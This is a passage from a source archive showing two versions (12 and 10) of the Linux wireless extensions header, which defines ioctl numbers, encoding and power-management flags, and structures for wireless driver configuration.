which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 12 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) */ /* -------------------------- IOCTL LIST -------------------------- */ /* Basic operations */ #define SIOCSIWNAME 0x8B00 /* Unused */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ #define SIOCSIWNWID 0x8B02 /* set network id (the cell) */ #define SIOCGIWNWID 0x8B03 /* get network id */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* Mobile IP support */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* get list of access point in range */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... * The "flags" member indicate if the ESSID is active or not (promiscuous). */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 16 ioctl are wireless device private. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we know have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). * And I repeat : you are not obliged to use them with iwspy, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed nuber of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 16 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 8 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 8 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 32 /* 256 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { caddr_t pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __u32 m; /* Mantissa */ __u16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * * Note that it should fit on the same memory footprint ! * You should check this when increasing the above structures (16 octets) * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part */ union { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct sockaddr ap_addr; /* Access point address */ struct iw_point data; /* Other large parameters */ } u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers */ /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ struct iw_quality max_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Average quality of link & SNR */ struct iw_quality avg_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/wireless.10.h0000755000175000017500000004030611705505257016014 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 9 16.10.99 * * Authors : Jean Tourrilhes - HPL - */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * net/core/dev.c (two place + add include) * net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * net/core/dev.c (two other places) * include/linux/netdevice.h (one place) * include/linux/proc_fs.h (one place) * * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /**************************** CONSTANTS ****************************/ /* --------------------------- VERSION --------------------------- */ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 10 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) */ /* -------------------------- IOCTL LIST -------------------------- */ /* Basic operations */ #define SIOCSIWNAME 0x8B00 /* Unused */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ #define SIOCSIWNWID 0x8B02 /* set network id (the cell) */ #define SIOCGIWNWID 0x8B03 /* get network id */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ /* Mobile IP support */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* get list of access point in range */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... * The "flags" member indicate if the ESSID is active or not (promiscuous). */ /* Other parameters usefull in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST 0x8B30 /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCDEVPRIVATE -> SIOCDEVPRIVATE + 0xF */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed nuber of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 16 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 8 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 8 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 32 /* 256 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory alocated in user space. */ struct iw_point { caddr_t pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __u32 m; /* Mantissa */ __u16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR or better...) */ __u8 level; /* signal level */ __u8 noise; /* noise level */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... */ struct iw_discarded { __u32 nwid; /* Wrong nwid */ __u32 code; /* Unable to code/decode */ __u32 misc; /* Others cases */ }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * * Note that it should fit on the same memory footprint ! * You should check this when increasing the above structures (16 octets) * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part */ union { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct sockaddr ap_addr; /* Access point address */ struct iw_point data; /* Other large parameters */ } u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers */ /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ struct iw_quality max_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 